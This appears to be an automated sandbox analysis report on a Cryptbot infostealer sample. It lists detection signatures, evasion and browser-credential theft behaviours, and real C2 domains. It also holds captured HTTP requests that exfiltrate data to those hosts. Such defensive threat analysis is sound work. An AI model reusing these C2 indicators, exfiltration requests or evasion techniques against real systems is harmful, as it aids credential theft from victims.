Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1559591
MD5: d55a94d4acedebc4b42333312be08f6b
SHA1: ec5da148a43839accda27c01e221b128777602fe
SHA256: c1673b575277e0d0a5b6a58c7c71b8c7e973f51dbeb9e682562a5ec447724d04
Tags: exeuser-Bitsight
Infos:

Detection

Clipboard Hijacker, Cryptbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Clipboard Hijacker
Yara detected Cryptbot
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Drops large PE files
Found evasive API chain (may stop execution after checking mutex)
Found stalling execution ending in API Sleep call
Hides threads from debuggers
Machine Learning detection for sample
PE file contains section with special chars
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Found malware configuration
Source: file.exe.7160.0.memstrmin Malware Configuration Extractor: Cryptbot {"C2 list": ["fvtekk5pn.top", "QUERY|rd|AAAA|IN|home.fvtekk5pn.top", "QUERY|rd|A|IN|home.fvtekk5pn.top", "0/80/home.fvtekk5pn.top", "|fvtekk5pn.top", "home.fvtekk5pn.top", "QUERY|rd|AAAA|IN|fvtekk5pn.top", "#fvtekk5pn.top", "a.dnspod.com|fvtekk5pn.top", "kk5pfvtekk5pn.top", "QUERY|rd|A|IN|fvtekk5pn.top", "80/80/home.fvtekk5pn.top"]}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\service123.exe ReversingLabs: Detection: 45%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 31%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00E315B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 7_2_00E315B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5C14B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 7_2_6C5C14B0
Source: file.exe, 00000000.00000003.2125718375.0000000007382000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_100a2030-d
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\0absryc3.default\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea ecx, dword ptr [esp+04h] 7_2_00E381E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C63AEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C63AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C63AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C5E0860
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C5EA970
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C5EA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C5EA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C69F960h 7_2_6C5DEB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C5E4453
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 7_2_6C6684A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C5EC510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C5EA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C5EA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C5EA580
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C5EE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C5EE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C5E0740
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, ecx 7_2_6C660730
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C63C040
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+04h] 7_2_6C61A1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C63C1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C5E0260
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [6C69D014h] 7_2_6C694360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C63BD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C637D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 7_2_6C633840
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+04h] 7_2_6C5ED974
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C619B60
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C5FBBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C5FBBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C63B4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C5ED504
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+0Ch] 7_2_6C5ED674
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 7_2_6C639600
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C69DFF4h 7_2_6C633690
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+08h] 7_2_6C5ED7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 7_2_6C663140
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C5DB1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C5ED2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 7_2_6C657350
Source: chrome.exe Memory has grown: Private usage: 1MB later: 29MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49787 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49828 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49798 -> 34.116.198.130:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: fvtekk5pn.top
Source: Malware configuration extractor URLs: QUERY|rd|AAAA|IN|home.fvtekk5pn.top
Source: Malware configuration extractor URLs: QUERY|rd|A|IN|home.fvtekk5pn.top
Source: Malware configuration extractor URLs: 0/80/home.fvtekk5pn.top
Source: Malware configuration extractor URLs: |fvtekk5pn.top
Source: Malware configuration extractor URLs: home.fvtekk5pn.top
Source: Malware configuration extractor URLs: QUERY|rd|AAAA|IN|fvtekk5pn.top
Source: Malware configuration extractor URLs: #fvtekk5pn.top
Source: Malware configuration extractor URLs: a.dnspod.com|fvtekk5pn.top
Source: Malware configuration extractor URLs: kk5pfvtekk5pn.top
Source: Malware configuration extractor URLs: QUERY|rd|A|IN|fvtekk5pn.top
Source: Malware configuration extractor URLs: 80/80/home.fvtekk5pn.top
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: */*
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------dcNTwi4Nd4Ms4ccX6XNClJData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 63 4e 54 77 69 34 4e 64 34 4d 73 34 63 63 58 36 58 4e 43 6c 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 61 71 69 78 75 67 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 94 4c 7e e4 04 39 01 dd 34 55 59 7f 90 7a ca ef 3d b0 69 59 06 9f 36 e4 af e3 f2 e7 fc 43 c9 e0 7f 71 6c 2b a8 24 c4 2f b7 e8 f6 d7 46 33 88 c7 b0 67 3f c6 42 8d 6e 43 bd 69 7d 4c 37 f3 4f 37 d1 3a 1a c1 d7 32 ca df 61 2f 6f 33 36 3a 3c 8d d4 61 89 17 86 0b 0c b5 45 49 55 a1 29 c2 86 6f 6e 8f a9 45 be 14 67 21 f0 5d 14 2e 05 53 a9 72 81 e2 b7 ce 96 fe ac e5 7c 6b f8 8f c3 e2 e9 a3 08 1a e6 6d 00 18 e6 57 13 41 93 d6 17 39 26 70 80 ff c7 cb 2e 16 05 4a e0 32 bf e4 71 b4 46 6e 16 e6 00 e8 0f e4 b4 55 34 66 81 ab 13 10 fa 00 40 5d d5 60 7d 75 37 81 3d eb 18 67 49 6f be ba 49 1b ca b8 81 a4 ca df 6c 03 a0 6c 2d fa e7 43 64 2d 90 cd 3a 22 d3 23 c4 81 11 a4 f0 e4 a4 9b 0f f6 ba 8b 62 00 ff 91 e9 df b6 44 49 a7 78 57 d8 33 c1 70 f8 75 a2 5b 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 63 4e 54 77 69 34 4e 64 34 4d 73 34 63 63 58 36 58 4e 43 6c 4a 2d 2d 0d 0a Data Ascii: --------------------------dcNTwi4Nd4Ms4ccX6XNClJContent-Disposition: form-data; name="file"; filename="Kaqixugi.bin"Content-Type: application/octet-streamL~94UYz=iY6Cql+$/F3g?BnCi}L7O7:2a/o36:<aEIU)onEg!].Sr|kmWA9&p.J2qFnU4f@]`}u7=gIoIll-Cd-:"#bDIxW3pu[--------------------------dcNTwi4Nd4Ms4ccX6XNClJ--
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 89544Content-Type: multipart/form-data; boundary=------------------------hFkfFwNBsbPC0mHvGW6FWAData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 68 46 6b 66 46 77 4e 42 73 62 50 43 30 6d 48 76 47 57 36 46 57 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 68 61 77 69 67 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 10 ec 43 d8 68 51 3d a0 b7 b4 5d 95 a9 e7 ca 02 c2 9a 57 5d 44 21 2f fb 8e e9 a0 1c dd 19 4a e1 6b c2 6d 5e ee 1c f7 d7 1b 6e 5d 0f c4 82 43 45 b5 8e bf 72 4c 1f cb 7b 69 60 55 a1 03 96 43 73 a0 d9 7c 1a 94 bc 99 a5 2b 4c be 48 ba b2 e3 3e 1d d8 71 e3 56 07 f1 7e db fa 60 2f f6 5a 19 b8 f4 6d db 5e c7 69 b8 e2 00 b3 30 02 70 27 5e f9 52 35 3c 35 94 d8 7b fd 14 a8 e3 c4 6f 45 7c bc 41 24 70 de 99 ea 9d 5d 95 0c a9 46 40 28 26 63 29 7a 37 93 b7 c3 39 35 d5 e3 29 ec 91 a1 8a 79 40 fb 30 1f 94 db 49 d8 ca 75 cd d6 0a 35 87 97 3e 2c 48 9f 2d 35 9c 34 e8 3b b5 c2 1f e4 76 29 3a ff 32 6f b1 0f 33 91 ee 21 f3 a4 92 36 d8 1d 70 b9 48 4b 68 f9 16 de ed 3f 33 0c 63 8a e6 4d 1c ce 96 5e 55 1b 5c 24 74 19 4e 85 74 5f 87 c7 90 e1 d0 3e 1f a9 cc 71 8d 94 34 4e 3f cc 1b 91 39 29 fb 6a 41 02 3e 9d f2 a2 58 1b 06 9c c0 3d cd 20 49 13 ae 3e f4 81 dd c1 01 c3 5a 52 d2 34 b1 b1 8c c7 7d 57 40 a1 74 3d f9 47 ff 7a 21 4d e5 79 c9 01 e0 3d 9f 57 ec ab 2f 99 85 17 76 86 5b fc 16 de 39 44 fa 79 c7 30 e6 d2 b7 e3 e2 bf be 69 c4 e1 e1 5c 4a 97 9b e1 69 2a f4 1f 08 65 da e1 f8 83 5a 92 0a 27 9e 45 45 29 67 02 6e fe d7 21 c0 a9 db f0 be cb 2a 11 11 c4 f6 ef 1a 80 d8 28 70 38 63 99 6a 4d cb 58 74 82 23 1c c8 8a 93 40 0c 8e b2 2d 83 1f 8f eb 24 9a 8a 64 90 0a 9f 90 c4 a3 cd f7 52 07 b2 37 ba 48 de 55 44 1b 12 10 63 b7 b6 58 2e 34 89 a5 27 7b 78 06 64 76 ca 99 60 09 c9 e2 1c 0e b2 51 37 0b 8c 8e a9 36 f1 37 c9 c8 f6 9e 1b 7d 69 6b 1f d6 5b ad 62 f1 79 33 61 f1 fc 94 5c 3b 0d bf 59 c3 cd 60 60 47 95 cc 18 26 b1 51 e2 a3 11 7d fd 61 b3 97 64 bb 15 de 6e 60 54 ba b3 08 c0 dd 21 4b 86 69 03 de b8 19 c5 96 54 79 b7 99 0b 5d c5 ba 64 0e 46 26 eb 3a a1 2a 87 3c ca 78 68 6b 69 5c d3 ba df 9f cc 63 53 ad b0 bd f6 b4 66 4e ae 00 33 4e 5f 77 c7 09 0d 4d 79 ea 09 97 e4 59 36 e3 b2 48 db 45 8c c8 30 72 7e 0c 3e 52 2a 6d 7a 95 88 7a eb 63 db 8e a0 05 47 c7 5b 12 e6 4d e1 06 44 27 e0 ca 09 11 f2 46 05 48 80 dd 51 e7 b1 03 54 3d a8 a4 28 0c 73 ca 2b 54 09 f0 a5 33 db 1c f4 86 0c 87 d7 fa ab cc 79 1d 45 bc 24 39 38 6f 26 80 27 07 5c 7e 2b 21 71 82 ad f3 a9 be de 3e b0 ce 93 7f 16 83 2f bd 83 ef 61 02 dc 84 24 e0 18 2d f2 d9 aa 1d d8 32 68 b5 bf b0 38 bf f6 ea e3 1c c4 d2 82 7a ca 51 58 c6 59 85 6d f4 a5 31 37 b0 ba 58 34 dc 03 40 49 3f 9b 48 20 a7 bc 2f 3c c3 16 3d 93 23 99 9b a9 df 8c ac 94 0f b3 ef c5 90 9e f4 0d 06 a6 4f 7c ee 11
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 30412Content-Type: multipart/form-data; boundary=------------------------ppTNEA83ZpeC6TLjn94zDlData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 70 70 54 4e 45 41 38 33 5a 70 65 43 36 54 4c 6a 6e 39 34 7a 44 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 69 6d 6f 6b 6f 6b 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a a8 28 de 5e 03 bf b0 b7 f5 1e b0 3a 78 3a 50 7f 8c 26 45 1f d2 71 fa b4 af 71 3c 34 bf bd 09 28 28 28 03 d0 0a 9a 17 7e 10 c5 2e c2 c7 3d f1 47 a8 3b 57 17 a0 1d 20 34 9a 8b 05 53 c1 4c b2 a4 ba 22 78 57 b7 cf 90 ec 5d 05 16 23 3d cd 20 a1 67 88 65 59 ff a0 70 ff 85 e9 28 91 53 ce 56 85 78 97 2a 7e ff 26 86 d4 e4 4f c1 f1 6b 3c af e9 38 17 02 dd 51 b4 96 de 92 fd ca 52 1a ee 21 58 24 f9 be 1f 38 4c e5 b5 90 36 46 c0 e5 6b 0a 70 d3 2c 06 33 f9 09 22 d7 fa d7 b9 34 ea 14 89 f8 5f 89 ae 86 1c 62 68 d2 21 fc 98 5f 83 17 c5 89 02 c6 21 c5 b0 ab 0c f7 1a cf c1 2b ac d5 61 f1 8c 26 cd 0a 6f 5b de 37 53 7e 9b cf 11 5a ae 09 7d 33 56 16 ba 25 78 3b 5c a5 3c 91 5d cd 6e ab cb 69 5e 43 c1 45 17 46 39 d0 f7 51 81 13 ec f8 e1 14 37 c1 28 36 6c 12 20 aa f9 e4 03 22 9d cb ce bc d0 ae 2b 5e 71 a1 4a 20 1b 52 fe ac b8 76 31 02 2d d6 d6 7a 85 99 09 9d b4 71 14 ff 4f 60 13 d4 e6 a8 58 f7 ee a7 82 05 f8 f7 fe a3 91 4d 35 0e 19 18 e1 1c 8c 5a 6c cc ba f1 fe 94 d9 b6 45 0b 26 cb 40 6f 74 e3 e2 21 4e aa 3d bc 83 e6 b3 1e 0c 6a 05 10 7a 6f 51 8e cd e3 95 c6 8c 2f 93 db a9 a5 93 d0 ee 8a 1a c5 df c3 9a c7 4b e2 83 ba 17 68 08 e8 8c 73 3f ee 3c 0b 21 02 2f 18 b1 3f ec 99 75 76 72 f4 7c 68 39 7e f6 74 bd cb c8 02 95 0e 60 e5 29 f3 c2 bf 7a a5 e3 9a ea 3e 3b 37 b8 f6 95 a5 69 a8 66 f9 0a 03 ae 62 17 85 a5 ea 63 4d 3b c3 2c 01 e9 1f 15 8f 36 fb f7 dc ff 17 9c 6e d9 89 c5 00 9d 9a 45 38 1c 50 84 71 7d fe 7e a3 33 02 b6 e1 ad 11 ea b7 db 3b 5b b9 21 b7 2c 31 43 ad 1d ee 04 bd b2 c4 e8 c6 af 21 7c fd 7a 66 55 3d 82 36 71 52 68 fc 37 04 d6 9a f0 5d 72 c4 12 dc 65 39 02 f3 cd 30 26 bb 55 c9 60 d0 09 0c 7d a6 7e a4 fc dc f2 90 6b 56 88 a5 13 7d 43 86 a0 8c 05 6f 3d bb f1 4d bf ff 73 e6 3a 8d eb 2a d9 7c 61 2b 82 5c 5e 7d 9d 28 4e ad b4 42 42 a7 6d bc 41 64 4b b5 6f 71 c6 4d 43 e0 98 54 5c 10 90 fc 1a a5 b9 30 b8 8c 6e 9e 22 2a 36 c9 fe 23 dd 36 55 c8 6f 3f 88 e3 66 1b 34 2e eb 72 94 d4 87 f1 f2 c1 96 b3 a9 1b 10 5d 9c dc c9 80 b9 5b 8f dd 7b 19 cd 41 44 01 cd 15 a5 1e e8 8d 54 b5 d9 88 1c 23 80 58 1d 5d f1 5a 68 a8 59 e8 6f 80 3e bf 54 17 82 64 1b 58 84 97 54 dc 86 8a 7f 66 dc fe 43 a0 7b 96 a0 82 b2 b1 60 03 f4 c1 f7 ab fe a2 35 d4 a0 1a eb 69 1f 1d 0c c0 05 d7 31 5d f7 ec ec 8a bc ed 3a 4b a9 67 54 69 d1 b1 23 54 7a 8d d5 49 91 3b 4f fa 39 96 6c 44 59 34 e0 8f 10 55 08 b1 63 67 ed 22 b1 0a 22 84 a0 68 ff a4 cb 0c 19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View IP Address: 34.116.198.130 34.116.198.130
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: */*
Source: chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000003.2642016695.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642189057.00001CEC00F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642271667.00001CEC003A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
